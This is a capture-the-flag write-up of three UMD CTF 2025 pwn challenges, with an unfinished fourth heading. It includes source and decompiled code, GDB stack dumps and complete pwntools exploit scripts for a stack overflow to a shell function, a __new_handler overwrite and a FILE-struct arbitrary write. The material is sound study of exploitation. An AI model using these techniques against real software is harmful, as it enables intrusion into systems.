Logo ✧ Alter ✧
[WRITE UP] - UMD CTF 2025

[WRITE UP] - UMD CTF 2025

April 28, 2025
23 min read
Table of Contents
index

pwn/gambling2

Author
aparker
Category
pwn
Points
306
Solves
190
Description
i gambled all of my life savings in this program (i have no life savings)
Flag
UMDCTF{99_percent_of_pwners_quit_before_they_get_a_shell_congrats_on_being_the_1_percent}
Binary checksec
alter ^ Sol in /mnt/e/sec/CTFs/2025/UMD/gambling2
$ checksec gambling
[*] '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
FORTIFY: Enabled
Stripped: No

So when we look at the result we can see that that is 32-bit binary with NX enabled and Partial RELRO. The binary is not stripped so we can see the symbols. Let’s dive into the source code.

gambling.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
float rand_float() {
return (float)rand() / RAND_MAX;
}
void print_money() {
system("/bin/sh");
}
void gamble() {
float f[4];
float target = rand_float();
printf("Enter your lucky numbers: ");
scanf(" %lf %lf %lf %lf %lf %lf %lf", f,f+1,f+2,f+3,f+4,f+5,f+6);
if (f[0] == target || f[1] == target || f[2] == target || f[3] == target || f[4] == target || f[5] == target || f[6] == target) {
printf("You win!\n");
// due to economic concerns, we're no longer allowed to give out prizes.
// print_money();
} else {
printf("Aww dang it!\n");
}
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
char buf[20];
srand(420);
while (1) {
gamble();
getc(stdin); // consume newline
printf("Try again? ");
fgets(buf, 20, stdin);
if (strcmp(buf, "no.\n") == 0) {
break;
}
}
}

Nice nice we have print_money function which can drop the shell for us. The gamble function takes 7 floats as input and checks if any of them are equal to the target float. But when we look closely at the scanf format string we can see that it is reading 7 floats but only 4 are declared. Moreover, the this binary is run on 32-bit and the format specifer is %lf which is 8 bytes. So we can overflow the f array and overwrite the return address of the gamble function with the address of print_money. But when we try to exploit it we need to double check the address of print_money function to make sure if it in the right place we want.

GDB check
pwndbg> stack 50
16 collapsed lines
00:0000│ esp 0xffffcd00 —▸ 0x804a02b ◂— ' %lf %lf %lf %lf %lf %lf %lf'
01:0004│-084 0xffffcd04 —▸ 0xffffcd40 ◂— 0
02:0008│-080 0xffffcd08 —▸ 0xffffcd44 ◂— 0
03:000c│-07c 0xffffcd0c —▸ 0xffffcd48 ◂— 0
04:0010│-078 0xffffcd10 —▸ 0xffffcd4c ◂— 0
05:0014│-074 0xffffcd14 —▸ 0xffffcd50 ◂— 0
06:0018│-070 0xffffcd18 —▸ 0xffffcd54 ◂— 0
07:001c│ ecx 0xffffcd1c —▸ 0xffffcd58 —▸ 0x80492c0 (print_money) ◂— sub esp, 0x18
08:0020│-068 0xffffcd20 ◂— 1
09:0024│-064 0xffffcd24 —▸ 0x804a010 ◂— 'Enter your lucky numbers: '
0a:0028│-060 0xffffcd28 —▸ 0xffffcd6c —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f
0b:002c│-05c 0xffffcd2c —▸ 0x80492e8 (gamble+8) ◂— sub esp, 8
0c:0030│-058 0xffffcd30 ◂— 0x1a4
0d:0034│-054 0xffffcd34 —▸ 0xf7fa34a4 (unsafe_state) —▸ 0xf7fa3094 (randtbl+20) ◂— 0xc6b7f91e
0e:0038│-050 0xffffcd38 —▸ 0xf7fa49c0 (_IO_stdfile_0_lock) ◂— 0
0f:003c│-04c 0xffffcd3c ◂— 0x3b1cbd98
10:0040│-048 0xffffcd40 ◂— 0
11:0044│-044 0xffffcd44 ◂— 0
12:0048│-040 0xffffcd48 ◂— 0
13:004c│-03c 0xffffcd4c ◂— 0
14:0050│-038 0xffffcd50 ◂— 0
15:0054│-034 0xffffcd54 ◂— 0
16:0058│-030 0xffffcd58 —▸ 0x80492c0 (print_money) ◂— sub esp, 0x18
17:005c│-02c 0xffffcd5c ◂— 0
26 collapsed lines
18:0060│-028 0xffffcd60 —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f
19:0064│-024 0xffffcd64 —▸ 0xf7fd6f90 (_dl_fixup+240) ◂— mov edi, eax
1a:0068│-020 0xffffcd68 —▸ 0xf7d914be ◂— '_dl_audit_preinit'
1b:006c│ ebx 0xffffcd6c —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f
1c:0070│-018 0xffffcd70 —▸ 0xffffcdb0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
1d:0074│-014 0xffffcd74 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...
1e:0078│-010 0xffffcd78 —▸ 0xf7fbeb30 —▸ 0xf7d93cc6 ◂— 'GLIBC_PRIVATE'
1f:007c│-00c 0xffffcd7c ◂— 1
20:0080│-008 0xffffcd80 —▸ 0xffffcda0 ◂— 1
21:0084│-004 0xffffcd84 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
22:0088│ ebp 0xffffcd88 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
23:008c│+004 0xffffcd8c —▸ 0xf7d9a519 (__libc_start_call_main+121) ◂— add esp, 0x10
24:0090│+008 0xffffcd90 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
25:0094│+00c 0xffffcd94 ◂— 0x70 /* 'p' */
26:0098│+010 0xffffcd98 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
27:009c│+014 0xffffcd9c —▸ 0xf7d9a519 (__libc_start_call_main+121) ◂— add esp, 0x10
28:00a0│+018 0xffffcda0 ◂— 1
29:00a4│+01c 0xffffcda4 —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
2a:00a8│+020 0xffffcda8 —▸ 0xffffce5c —▸ 0xffffcfcf ◂— 'HOSTTYPE=x86_64'
2b:00ac│+024 0xffffcdac —▸ 0xffffcdc0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
2c:00b0│+028 0xffffcdb0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
2d:00b4│+02c 0xffffcdb4 —▸ 0x80490e0 (main) ◂— lea ecx, [esp + 4]
2e:00b8│+030 0xffffcdb8 ◂— 1
2f:00bc│+034 0xffffcdbc —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
30:00c0│+038 0xffffcdc0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
31:00c4│+03c 0xffffcdc4 —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
pwndbg> i f
Stack level 0, frame at 0xffffcd60:
eip = 0x8049336 in gamble; saved eip = 0x0
called by frame at 0xffffcd64
Arglist at 0xffffccfc, args:
Locals at 0xffffccfc, Previous frame's sp is 0xffffcd60
Saved registers:
eip at 0xffffcd5c

We see that our address when I use payload:

sla(b': ', f'0.0 0.0 0.0 0.0 0.0 0.0 {hex_to_double(exe.sym.print_money)}'.encode())

is above saved RIP of gamble function. but remember this is 32-bit binary and we get 8 bytes input which means it will overflow 4 of our bytes. All we do is add padding to the address of the print_money function so that it falls right on saved RIP. Adjust the payload and check again:

GDB check
pwndbg> stack 50
16 collapsed lines
00:0000│ esp 0xffffcd00 —▸ 0x804a02b ◂— ' %lf %lf %lf %lf %lf %lf %lf'
01:0004│-084 0xffffcd04 —▸ 0xffffcd40 ◂— 0
02:0008│-080 0xffffcd08 —▸ 0xffffcd44 ◂— 0
03:000c│-07c 0xffffcd0c —▸ 0xffffcd48 ◂— 0
04:0010│-078 0xffffcd10 —▸ 0xffffcd4c ◂— 0
05:0014│-074 0xffffcd14 —▸ 0xffffcd50 ◂— 0
06:0018│-070 0xffffcd18 —▸ 0xffffcd54 ◂— 0
07:001c│ ecx 0xffffcd1c —▸ 0xffffcd58 ◂— 0
08:0020│-068 0xffffcd20 ◂— 1
09:0024│-064 0xffffcd24 —▸ 0x804a010 ◂— 'Enter your lucky numbers: '
0a:0028│-060 0xffffcd28 —▸ 0xffffcd6c —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f
0b:002c│-05c 0xffffcd2c —▸ 0x80492e8 (gamble+8) ◂— sub esp, 8
0c:0030│-058 0xffffcd30 ◂— 0x1a4
0d:0034│-054 0xffffcd34 —▸ 0xf7fa34a4 (unsafe_state) —▸ 0xf7fa3094 (randtbl+20) ◂— 0xc6b7f91e
0e:0038│-050 0xffffcd38 —▸ 0xf7fa49c0 (_IO_stdfile_0_lock) ◂— 0
0f:003c│-04c 0xffffcd3c ◂— 0x3b1cbd98
10:0040│-048 0xffffcd40 ◂— 0
11:0044│-044 0xffffcd44 ◂— 0
12:0048│-040 0xffffcd48 ◂— 0
13:004c│-03c 0xffffcd4c ◂— 0
14:0050│-038 0xffffcd50 ◂— 0
15:0054│-034 0xffffcd54 ◂— 0
16:0058│-030 0xffffcd58 ◂— 0
17:005c│-02c 0xffffcd5c —▸ 0x80492c0 (print_money) ◂— sub esp, 0x18
26 collapsed lines
18:0060│-028 0xffffcd60 —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f
19:0064│-024 0xffffcd64 —▸ 0xf7fd6f90 (_dl_fixup+240) ◂— mov edi, eax
1a:0068│-020 0xffffcd68 —▸ 0xf7d914be ◂— '_dl_audit_preinit'
1b:006c│ ebx 0xffffcd6c —▸ 0xf7fbe4a0 —▸ 0xf7d79000 ◂— 0x464c457f
1c:0070│-018 0xffffcd70 —▸ 0xffffcdb0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
1d:0074│-014 0xffffcd74 —▸ 0xf7fbe66c —▸ 0xf7ffdba0 —▸ 0xf7fbe780 —▸ 0xf7ffda40 ◂— ...
1e:0078│-010 0xffffcd78 —▸ 0xf7fbeb30 —▸ 0xf7d93cc6 ◂— 'GLIBC_PRIVATE'
1f:007c│-00c 0xffffcd7c ◂— 1
20:0080│-008 0xffffcd80 —▸ 0xffffcda0 ◂— 1
21:0084│-004 0xffffcd84 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
22:0088│ ebp 0xffffcd88 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0
23:008c│+004 0xffffcd8c —▸ 0xf7d9a519 (__libc_start_call_main+121) ◂— add esp, 0x10
24:0090│+008 0xffffcd90 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
25:0094│+00c 0xffffcd94 ◂— 0x70 /* 'p' */
26:0098│+010 0xffffcd98 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c
27:009c│+014 0xffffcd9c —▸ 0xf7d9a519 (__libc_start_call_main+121) ◂— add esp, 0x10
28:00a0│+018 0xffffcda0 ◂— 1
29:00a4│+01c 0xffffcda4 —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
2a:00a8│+020 0xffffcda8 —▸ 0xffffce5c —▸ 0xffffcfcf ◂— 'HOSTTYPE=x86_64'
2b:00ac│+024 0xffffcdac —▸ 0xffffcdc0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
2c:00b0│+028 0xffffcdb0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
2d:00b4│+02c 0xffffcdb4 —▸ 0x80490e0 (main) ◂— lea ecx, [esp + 4]
2e:00b8│+030 0xffffcdb8 ◂— 1
2f:00bc│+034 0xffffcdbc —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
30:00c0│+038 0xffffcdc0 —▸ 0xf7fa3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
31:00c4│+03c 0xffffcdc4 —▸ 0xffffce54 —▸ 0xffffcfa3 ◂— '/mnt/e/sec/CTFs/2025/UMD/gambling2/gambling'
pwndbg> i f
Stack level 0, frame at 0xffffcd60:
eip = 0x8049336 in gamble; saved eip = 0x80492c0
called by frame at 0xffffcd90
Arglist at 0xffffccfc, args:
Locals at 0xffffccfc, Previous frame's sp is 0xffffcd60
Saved registers:
eip at 0xffffcd5c

Gotcha!! Now we can see that the saved RIP is now pointing to print_money function.

exploit.py
37 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
import struct
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./gambling', checksec=False)
libc = exe.libc
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw, aslr=False)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(1)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
b *gamble+81
c
'''
p = start()
# ==================== EXPLOIT ====================
def hex_to_double(addr):
return struct.unpack('<d', p64(addr))[0]
def double_to_hex(val: float) -> str:
packed = struct.pack('<d', val)
bits = struct.unpack('<Q', packed)[0]
return hex(bits)
def pad_to_qword(n: int, total_bytes: int = 8) -> int:
length = (n.bit_length() + 7) // 8 or 1
return n << ((total_bytes - length) * 8)
def exploit():
# print(double_to_hex(55.55))
# print(double_to_hex(1.1))
sla(b': ', f'0 0 0 0 0 0 {hex_to_double(pad_to_qword(exe.sym.print_money))}'.encode())
interactive()
if __name__ == '__main__':
exploit()

pwn/unfinished

Author
aparker
Category
pwn
Points
420
Solves
94
Description
TODO: finish the challenge
Flag
UMDCTF{crap_i_have_to_come_up_with_a_flag_too?????????}
Binary checksec
alter ^ Sol in /mnt/e/sec/CTFs/2025/UMD/unfinished
$ checksec unfinished
[*] '/mnt/e/sec/CTFs/2025/UMD/unfinished/unfinished'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

As we can see that this is 64-bit binary with Full RELRO and NX enabled. The binary is not stripped so we can see the symbols. Let’s dive into the source code to see how it works and analyze its functionality.

unfinished.cpp
#include <cstdio>
#include <cstdlib>
char number[128];
void sigma_mode() {
system("/bin/sh");
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
printf("What size allocation?\n");
fgets(number, 500, stdin);
long n = atol(number);
int *chunk = new int[n];
// TODO: finish the heap chal
}

Hmmm, the program look like have nothing to exploit. But just test something like input a very large number and see what happens.

GDB
0x7ffff7d52b2c <pthread_kill@@GLIBC_2.34+284> mov r14d, eax R14D => 0
0x7ffff7d52b2f <pthread_kill@@GLIBC_2.34+287> neg r14d
0x7ffff7d52b32 <pthread_kill@@GLIBC_2.34+290> cmp eax, 0xfffff000 0x0 - 0xfffff000 EFLAGS => 0x207 [ CF PF af zf sf IF df of ]
0x7ffff7d52b37 <pthread_kill@@GLIBC_2.34+295> mov eax, 0 EAX => 0
0x7ffff7d52b3c <pthread_kill@@GLIBC_2.34+300> cmovbe r14d, eax
0x7ffff7d52b40 <pthread_kill@@GLIBC_2.34+304> jmp pthread_kill@@GLIBC_2.34+176 <pthread_kill@@GLIBC_2.34+176>
0x7ffff7d52ac0 <pthread_kill@@GLIBC_2.34+176> mov rax, qword ptr [rbp - 0x38] RAX, [0x7fffffffd9b8] => 0x851692a8043af200
0x7ffff7d52ac4 <pthread_kill@@GLIBC_2.34+180> sub rax, qword ptr fs:[0x28] RAX => 0 (0x851692a8043af200 - 0x851692a8043af200)
0x7ffff7d52acd <pthread_kill@@GLIBC_2.34+189> jne pthread_kill@@GLIBC_2.34+341 <pthread_kill@@GLIBC_2.34+341>
0x7ffff7d52ad3 <pthread_kill@@GLIBC_2.34+195> add rsp, 0x18 RSP => 0x7fffffffd9c8 (0x7fffffffd9b0 + 0x18)
0x7ffff7d52ad7 <pthread_kill@@GLIBC_2.34+199> mov eax, r14d EAX => 0

Holy, when I try to input 100000000000000000000000 it will crash. So let’s check the reason why it crashed.

GDB
pwndbg> disass main
Dump of assembler code for function main:
28 collapsed lines
0x00000000004019cc <+0>: push rbp
0x00000000004019cd <+1>: mov rbp,rsp
0x00000000004019d0 <+4>: sub rsp,0x10
0x00000000004019d4 <+8>: mov rax,QWORD PTR [rip+0x1d665] # 0x41f040 <stdout@GLIBC_2.2.5>
0x00000000004019db <+15>: mov ecx,0x0
0x00000000004019e0 <+20>: mov edx,0x2
0x00000000004019e5 <+25>: mov esi,0x0
0x00000000004019ea <+30>: mov rdi,rax
0x00000000004019ed <+33>: call 0x401060 <setvbuf@plt>
0x00000000004019f2 <+38>: mov rax,QWORD PTR [rip+0x1d657] # 0x41f050 <stdin@GLIBC_2.2.5>
0x00000000004019f9 <+45>: mov ecx,0x0
0x00000000004019fe <+50>: mov edx,0x2
0x0000000000401a03 <+55>: mov esi,0x0
0x0000000000401a08 <+60>: mov rdi,rax
0x0000000000401a0b <+63>: call 0x401060 <setvbuf@plt>
0x0000000000401a10 <+68>: lea rax,[rip+0x165f5] # 0x41800c
0x0000000000401a17 <+75>: mov rdi,rax
0x0000000000401a1a <+78>: call 0x401030 <puts@plt>
0x0000000000401a1f <+83>: mov rax,QWORD PTR [rip+0x1d62a] # 0x41f050 <stdin@GLIBC_2.2.5>
0x0000000000401a26 <+90>: mov rdx,rax
0x0000000000401a29 <+93>: mov esi,0x1f4
0x0000000000401a2e <+98>: lea rax,[rip+0x1d62b] # 0x41f060 <number>
0x0000000000401a35 <+105>: mov rdi,rax
0x0000000000401a38 <+108>: call 0x401050 <fgets@plt>
0x0000000000401a3d <+113>: lea rax,[rip+0x1d61c] # 0x41f060 <number>
0x0000000000401a44 <+120>: mov rdi,rax
0x0000000000401a47 <+123>: call 0x401070 <atol@plt>
0x0000000000401a4c <+128>: mov QWORD PTR [rbp-0x10],rax
0x0000000000401a50 <+132>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000401a54 <+136>: movabs rdx,0x1ffffffffffffffe
0x0000000000401a5e <+146>: cmp rdx,rax
0x0000000000401a61 <+149>: jb 0x401a69 <main+157>
0x0000000000401a63 <+151>: shl rax,0x2
0x0000000000401a67 <+155>: jmp 0x401a6e <main+162>
0x0000000000401a69 <+157>: call 0x4010f0 <__cxa_throw_bad_array_new_length>
0x0000000000401a6e <+162>: mov rdi,rax
0x0000000000401a71 <+165>: call 0x401c10 <_Znam>
0x0000000000401a76 <+170>: mov QWORD PTR [rbp-0x8],rax
0x0000000000401a7a <+174>: mov eax,0x0
0x0000000000401a7f <+179>: leave
0x0000000000401a80 <+180>: ret
End of assembler dump.

We see that it has an extra strange check in our source code. But when we use IDA to view it, we will see that code.

IDA decompile
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 v3; // rax
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("What size allocation?");
fgets(number, 500, stdin);
v3 = atol(number);
if ( v3 > 0x1FFFFFFFFFFFFFFELL )
_cxa_throw_bad_array_new_length();
operator new[](4 * v3);
return 0;
}

This is because in C++, when using new[], the compiler automatically adds a size check to ensure heap allocation safety. That check does not appear in the source because it is generated by the compiler. Okay, let’s get back to our problem. We know that the size we entered is not more than 0x1FFFFFFFFFFFFFFFE so we will solve its size and continue testing.

GDB
0x4031b2 <operator new(unsigned long)+18> test rdi, rdi 0x8e1bc9bf040000 & 0x8e1bc9bf040000 EFLAGS => 0x206 [ cf PF af zf sf IF df of ]
0x4031b5 <operator new(unsigned long)+21> cmovne rax, rdi
0x4031b9 <operator new(unsigned long)+25> mov rbx, rax RBX => 0x8e1bc9bf040000
0x4031bc <operator new(unsigned long)+28> mov rdi, rbx RDI => 0x8e1bc9bf040000
0x4031bf <operator new(unsigned long)+31> call qword ptr [rip + 0x1bde3] <malloc>
0x4031c5 <operator new(unsigned long)+37> test rax, rax 0 & 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
0x4031c8 <operator new(unsigned long)+40> je operator new(unsigned long)+48 <operator new(unsigned long)+48>
0x4031d0 <operator new(unsigned long)+48> call std::get_new_handler() <std::get_new_handler()>
0x4031d6 <operator new(unsigned long)+54> test rax, rax
0x4031d9 <operator new(unsigned long)+57> je operator new(unsigned long) [clone .cold] <operator new(unsigned long) [clone .cold]>
0x4031df <operator new(unsigned long)+63> call rax
<...>
0x4105e0 <std::get_new_handler()> endbr64
0x4105e4 <std::get_new_handler()+4> mov rax, qword ptr [rip + 0xeb3d] RAX, [(anonymous namespace)::__new_handler] => 0
0x4105eb <std::get_new_handler()+11> ret <operator new(unsigned long)+54>
0x4031d6 <operator new(unsigned long)+54> test rax, rax 0 & 0 EFLAGS => 0x246 [ cf PF af ZF sf IF df of ]
0x4031d9 <operator new(unsigned long)+57> je operator new(unsigned long) [clone .cold] <operator new(unsigned long) [clone .cold]>
0x401388 <operator new(unsigned long) [clone .cold]> mov edi, 8 EDI => 8
0x40138d <operator new(unsigned long) [clone .cold]+5> call __cxa_allocate_exception <__cxa_allocate_exception>
0x401393 <operator new(unsigned long) [clone .cold]+11> mov rdx, std::bad_alloc::~bad_alloc() RDX => 0x403680 (std::bad_alloc::~bad_alloc()) ◂— endbr64
0x40139a <operator new(unsigned long) [clone .cold]+18> mov rsi, typeinfo for std::bad_alloc RSI => 0x41ec08 (typeinfo for std::bad_alloc) —▸ 0x41eb70 (vtable for __cxxabiv1::__si_class_type_info+16) —▸ 0x4031f0 (__cxxabiv1::__si_class_type_info::~__si_class_type_info()) ◂— ...
0x4013a1 <operator new(unsigned long) [clone .cold]+25> mov rdi, rax
0x4013a4 <operator new(unsigned long) [clone .cold]+28> mov rax, vtable for std::bad_alloc RAX => 0x41ec20 (vtable for std::bad_alloc) ◂— 0

We see malloc will return 0 (when we input 1000000000000000) and then call std::get_new_handler(). The std::get_new_handler() now move the address of __new_handler to rax and check if it is 0. If it is not 0, it will call the function. The __new_handler is a global variable that points to a function that will be called when memory allocation fails. By default, this function is set to std::bad_alloc, which throws an exception. But we can change it to our own function by our overflow in number variable.

exploit.py
37 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./unfinished_patched', checksec=False)
libc = exe.libc
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(1)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
# b *main+113
b *main+165
c
'''
p = start()
# ==================== EXPLOIT ====================
def exploit():
# sl(cyclic(500))
payload = flat({
0: b'100000000000000 ',
184+8+8: 0x4019b6
}, filler=b'A')
sl(payload)
interactive()
if __name__ == '__main__':
exploit()

pwn/aura

Author
esiddali
Category
pwn
Points
438
Solves
77
Description
I can READ ur aura.
Flag
UMDCTF{+100aur4}
Binary checksec
alter ^ Sol in /mnt/e/sec/CTFs/2025/UMD/aura
$ checksec aura_patched
[*] '/mnt/e/sec/CTFs/2025/UMD/aura/aura_patched'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Stripped: No

We see that this is 64-bit binary with Partial RELRO and NX enabled. The binary is not stripped so we can see the symbols. Let’s decompile it with IDA and analyze its functionality.

IDA decompile
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *buf; // [rsp+10h] [rbp-140h]
FILE *stream; // [rsp+18h] [rbp-138h]
char ptr_1[32]; // [rsp+20h] [rbp-130h] BYREF
_BYTE ptr[264]; // [rsp+40h] [rbp-110h] BYREF
unsigned __int64 v8; // [rsp+148h] [rbp-8h]
v8 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
printf("my aura: %p\nur aura? ", &aura);
buf = fopen("/dev/null", "r");
read(0, buf, 0x100uLL);
fread(ptr, 1uLL, 8uLL, buf);
if ( aura )
{
stream = fopen("flag.txt", "r");
fread(ptr_1, 1uLL, 0x11uLL, stream);
printf("%s\n ", ptr_1);
}
else
{
puts("u have no aura.");
}
return 0;
}

In generally, the program will read our input and check if the aura variable is 0. If it is not 0, it will read the flag from flag.txt file. The aura variable is a global variable that is initialized to 0. So we need to change it to 1 by using our input. And look, we have free aura address :DD. Now we just need to find the way to change the value of aura variable.

If we look at these lines:

buf = fopen("/dev/null", "r");
read(0, buf, 0x100uLL);
fread(ptr, 1uLL, 8uLL, buf);

It opens /dev/null, save the FILE struct poiter to buf and lets us write into that FILE struct. Then it will read 8 bytes from buf to ptr. So we can use this to overwrite the aura variable. Let’s remind the FILE structure and how to leverage fread to overwrite the aura variable.

FILE structure
struct _IO_FILE_plus
{
FILE file;
const struct _IO_jump_t *vtable;
};
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

The code above is what FILE structure look like. And we know that inside the fread function it calls _IO_file_read functions:

_IO_ssize_t
_IO_file_read (_IO_FILE *fp, void *buf, _IO_ssize_t size)
{
return (__builtin_expect (fp->_flags2 & _IO_FLAGS2_NOTCANCEL, 0)
? __read_nocancel (fp->_fileno, buf, size)
: __read (fp->_fileno, buf, size));
}

The _IO_file_read function reads data from a file into a buffer using the read system call. It takes three arguments: a file pointer fp, a buffer buf (usually _IO_buf_base), and the number of bytes to read size (typically _IO_buf_end - _IO_buf_base). Inside the function, it checks if the file has a special flag _IO_FLAGS2_NOTCANCEL; if it does, it uses __read_nocancel (a version of read() that can’t be interrupted), otherwise it uses the regular __read() function. Both versions read data from fp->_fileno, which is the file descriptor, into the buffer buf for size bytes. So the fread function is crucial for our exploit as it allows us to manipulate the aura variable by controlling the data read into the buffer. And those components are all on the FILE Struct and because we can interact directly with the FILE Struct we can easily do aaw

exploit.py
38 collapsed lines
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwnie import *
from subprocess import check_output
from time import sleep
context.log_level = 'debug'
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
exe = context.binary = ELF('./aura_patched', checksec=False)
libc = exe.libc
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
elif args.DOCKER:
p = remote("localhost", 5000)
sleep(1)
pid = int(check_output(["pidof", "-s", "/app/run"]))
gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
pause()
return p
else:
return process([exe.path] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
# brva 0x122E
# brva 0x124E
brva 0x1271
c
'''
p = start()
# ==================== EXPLOIT ====================
def exploit():
ru(b'my aura: ')
aura_address = hexleak(rl()[:-1])
info('aura address @ %#x', aura_address)
payload = flat(
0xfbad2488, # _flag
0, # _IO_read_ptr
0, # _IO_read_end
0, # _IO_read_base
0, # _IO_write_base
0, # _IO_write_ptr
0, # _IO_write_end
aura_address, # _IO_buf_base
aura_address + 0x11, # _IO_buf_end
0,
0,
0,
0,
0,
0, # stdin
)
s(payload)
s(p64(0x1) + b'\0' * 0x11)
interactive()
if __name__ == '__main__':
exploit()

pwn/prison-realm

Authors
evilmuffinha, clam
Category
pwn
Points
486
Solves
20
Flag
